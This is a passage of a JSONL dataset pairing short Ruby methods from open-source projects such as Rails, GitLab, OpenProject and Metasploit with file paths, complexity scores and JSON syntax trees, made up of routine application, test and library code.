end","complexity_score":24.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_class\"]},\"TASK_DESCRIPTION\"]}]},{\"type\":\"str\",\"children\":[\" request: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_and_notify_parent\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"active\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"Ok\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"In Process\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_class\"]},\"TASK_DESCRIPTION\"]}]},{\"type\":\"str\",\"children\":[\" initiated\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"update_and_notify_parent\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"do_request\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\"] encountered during \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_class\"]},\"TASK_DESCRIPTION\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"log_backtrace\",{\"type\":\"lvar\",\"children\":[\"err\"]}]},{\"type\":\"send\",\"children\":[null,\"update_and_notify_parent\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"finished\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"Error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}]}","id":"81245f00-7a82-4536-9169-888ffdbf6708"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/predications.rb","start_line":175,"raw_source":"def gt(right)\n      Nodes::GreaterThan.new self, quoted_node(right)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"right\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"GreaterThan\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"quoted_node\",{\"type\":\"lvar\",\"children\":[\"right\"]}]}]}]}","id":"43b3c536-5dae-46e7-84b2-3e7862bdb1ad"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/style_detected_api_use.rb","start_line":131,"raw_source":"def style_detected_api_used?(node)\n          correct_style_detected_check(node) ||\n            negative_style_detected_method_check(node) ||\n            no_acceptable_style_check(node) ||\n            style_detected_check(node)\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"style_detected_api_used?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"correct_style_detected_check\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"negative_style_detected_method_check\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"no_acceptable_style_check\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"style_detected_check\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"0bcbcf18-eaaf-4030-84e6-030ee4112f05"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240830140656_remove_projects_vulnerability_occurrences_project_id_fk.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(:vulnerability_occurrences, :projects,\n        name: FOREIGN_KEY_NAME, reverse_lock_order: true)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"vulnerability_occurrences\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"e99e2b14-0a74-4a2e-908d-06fd07f67d07"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/calculated_values/error_handler.rb","start_line":114,"raw_source":"def create_error_records!(error_contexts)\n      error_contexts.each do |context|\n        context.create_calculated_value_error!(customized)\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_error_records!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error_contexts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_contexts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"create_calculated_value_error!\",{\"type\":\"send\",\"children\":[null,\"customized\"]}]}]}]}","id":"cdd23135-4882-4e40-8e65-af5a0ddd152e"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/password_confirmation_dialog.rb","start_line":50,"raw_source":"def expect_open\n      expect(page).to have_selector(selector)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_open\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_selector\",{\"type\":\"send\",\"children\":[null,\"selector\"]}]}]}]}","id":"4c7763c7-29a8-4f40-bd65-2c766f7a3d23"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_function.rb","start_line":58,"raw_source":"def initialize(return_type, params, remote_name, calling_conv='stdcall')\n    check_return_type(return_type) # we do error checking as early as possible so the library is easier to use\n    check_params(params)\n    check_calling_conv(calling_conv)\n    @return_type = return_type\n    @params = params\n    @remote_name = remote_name\n    @calling_conv = calling_conv\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"return_type\"]},{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"remote_name\"]},{\"type\":\"optarg\",\"children\":[\"calling_conv\",{\"type\":\"str\",\"children\":[\"stdcall\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_return_type\",{\"type\":\"lvar\",\"children\":[\"return_type\"]}]},{\"type\":\"send\",\"children\":[null,\"check_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"check_calling_conv\",{\"type\":\"lvar\",\"children\":[\"calling_conv\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@return_type\",{\"type\":\"lvar\",\"children\":[\"return_type\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@remote_name\",{\"type\":\"lvar\",\"children\":[\"remote_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@calling_conv\",{\"type\":\"lvar\",\"children\":[\"calling_conv\"]}]}]}]}","id":"b2aa0fb1-ef56-45d5-bc18-4592a0b3ffb4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/commits/user_browses_commits_spec.rb","start_line":326,"raw_source":"def check_author_link(email, author)\n  author_link = find('.commit-author-link')\n\n  expect(author_link['href']).to eq(user_path(author))\n  expect(find('.commit-author-name').text).to eq(author.name)\nend","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_author_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]},{\"type\":\"arg\",\"children\":[\"author\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author_link\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".commit-author-link\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author_link\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[null,\"user_path\",{\"type\":\"lvar\",\"children\":[\"author\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".commit-author-name\"]}]},\"text\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"name\"]}]}]}]}]}","id":"eb7d7727-98f9-463b-8089-c483cbe3f821"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_package_relations_controller.rb","start_line":51,"raw_source":"def edit\n    contract = Relations::UpdateContract.new(@relation, current_user)\n\n    if contract.valid?\n      respond_with_dialog(\n        WorkPackageRelationsTab::WorkPackageRelationDialogComponent\n          .new(work_package: @work_package, relation: @relation)\n      )\n    else\n      respond_with_flash_error(message: I18n.t(:\"activerecord.errors.models.relation.attributes.base.error_not_editable\"))\n    end\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contract\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relations\"]},\"UpdateContract\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@relation\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"valid?\"]},{\"type\":\"send\",\"children\":[null,\"respond_with_dialog\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackageRelationsTab\"]},\"WorkPackageRelationDialogComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"ivar\",\"children\":[\"@work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation\"]},{\"type\":\"ivar\",\"children\":[\"@relation\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_flash_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"activerecord.errors.models.relation.attributes.base.error_not_editable\"]}]}]}]}]}]}]}]}","id":"dd3b01ab-83e9-4c5d-bb9f-64c46c8236e5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/data_store.rb","start_line":377,"raw_source":"def merge(other)\n    ds = self.copy\n    ds.merge!(other)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"merge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ds\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"copy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ds\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"other\"]}]}]}]}","id":"cbe3f04c-9d07-4a12-8b26-a7295ca88847"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/design_management/delete_designs_service_spec.rb","start_line":252,"raw_source":"def safe_run_service\n    run_service\n  rescue StandardError\n    nil\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"safe_run_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_service\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"f2e305ea-e9b8-4403-8bd8-d4d39960d25c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb","start_line":102,"raw_source":"def all_jobs_by_name\n          strong_memoize(:jobs_by_name) do\n            all_jobs.index_by { |row| row[:name] }\n          end\n        end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"all_jobs_by_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"jobs_by_name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_jobs\"]},\"index_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}","id":"553a84b6-6648-409a-b9f7-925da0a99035"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/presenters/export_summary.rb","start_line":30,"raw_source":"def total_domain_blocks\n    counts[:domain_blocks].value\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"total_domain_blocks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain_blocks\"]}]},\"value\"]}]}","id":"43b29c7c-00c7-4071-b6e5-06af35b25934"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/users_controller.rb","start_line":38,"raw_source":"def unpublish\n      authorize(@user, :unpublish_all_articles?)\n\n      target_user = User.find(params[:id].to_i)\n\n      Moderator::UnpublishAllArticlesWorker.perform_async(target_user.id, @user.id)\n\n      note_content = params[:note].presence || \"#{@user.username} requested unpublish all articles via API\"\n\n      Note.create(noteable: target_user, reason: \"unpublish_all_articles\",\n                  content: note_content, author: @user)\n\n      render status: :no_content\n    end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unpublish\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"sym\",\"children\":[\"unpublish_all_articles?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Moderator\"]},\"UnpublishAllArticlesWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"note_content\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"note\"]}]},\"presence\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"username\"]}]},{\"type\":\"str\",\"children\":[\" requested unpublish all articles via API\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Note\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"target_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"str\",\"children\":[\"unpublish_all_articles\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"note_content\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]}]}]}]}","id":"cdcc191c-42f3-4549-ac46-9b0365e47133"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/meterpreter_x86_bsd.rb","start_line":13,"raw_source":"def initialize(rstream, opts={})\n    super\n    self.base_platform = 'bsd'\n    self.base_arch = ARCH_X86\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rstream\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_platform=\",{\"type\":\"str\",\"children\":[\"bsd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_arch=\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]}","id":"d64a0bce-0332-44be-9b3d-4724483c4f04"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":946,"raw_source":"def test_add_composite_foreign_key_raises_if_column_and_primary_key_sizes_mismatch\n          assert_raises(ArgumentError, match: \":column must reference all the :primary_key columns\") do\n            @connection.add_foreign_key :astronauts, :rockets, column: :rocket_id, primary_key: [:tenant_id, :id]\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_composite_foreign_key_raises_if_column_and_primary_key_sizes_mismatch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"str\",\"children\":[\":column must reference all the :primary_key columns\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"rocket_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_key\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"tenant_id\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"59412889-542d-47ba-b7c9-640116e426bb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/constraints_helpers.rb","start_line":241,"raw_source":"def remove_not_null_constraint(table, column, constraint_name: nil)\n          remove_check_constraint(\n            table,\n            not_null_constraint_name(table, column, name: constraint_name)\n          )\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_not_null_constraint\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"kwoptarg\",\"children\":[\"constraint_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_check_constraint\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"send\",\"children\":[null,\"not_null_constraint_name\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"constraint_name\"]}]}]}]}]}]}","id":"ed33b245-ad5f-4501-a7f8-92a51bad6450"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/filter.rb","start_line":50,"raw_source":"def has_state?(results: nil, position: nil)\n          filter_bar.locator(\".chat-channel__filter-position-total\", hasText: results) &&\n            filter_bar.locator(\".chat-channel__filter-position-index\", hasText: position)\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_state?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"results\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"position\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_bar\"]},\"locator\",{\"type\":\"str\",\"children\":[\".chat-channel__filter-position-total\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hasText\"]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_bar\"]},\"locator\",{\"type\":\"str\",\"children\":[\".chat-channel__filter-position-index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hasText\"]},{\"type\":\"lvar\",\"children\":[\"position\"]}]}]}]}]}]}","id":"54377cbe-212d-42a9-b74a-42204c22210c"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/validators/censored_words_validator_spec.rb","start_line":45,"raw_source":"def validate\n    described_class.new(attributes: :test).validate_each(record, attribute, value)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"sym\",\"children\":[\"test\"]}]}]}]},\"validate_each\",{\"type\":\"send\",\"children\":[null,\"record\"]},{\"type\":\"send\",\"children\":[null,\"attribute\"]},{\"type\":\"send\",\"children\":[null,\"value\"]}]}]}","id":"aa21910a-8f83-4109-b914-8f56c480bdff"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/example_methods.rb","start_line":76,"raw_source":"def change_work_packages(work_packages, table_representation)\n      TableData.for(table_representation).work_packages_data.pluck(:attributes).each do |attributes|\n        work_package = work_packages.find { |wp| wp.subject == attributes[:subject] }\n        unless work_package\n          raise ArgumentError, \"no work package with subject #{attributes[:subject]} given; \" \\\n                               \"available work packages are #{work_packages.pluck(:subject).to_sentence}\"\n        end\n\n        attributes.without(:subject).each do |attribute, value|\n          work_package.send(:\"#{attribute}=\", value)\n        end\n      end\n    end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change_work_packages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]},{\"type\":\"arg\",\"children\":[\"table_representation\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TableData\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"table_representation\"]}]},\"work_packages_data\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"attributes\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"work_package\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp\"]},\"subject\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"no work package with subject \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]}]},{\"type\":\"str\",\"children\":[\" given; \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"available work packages are 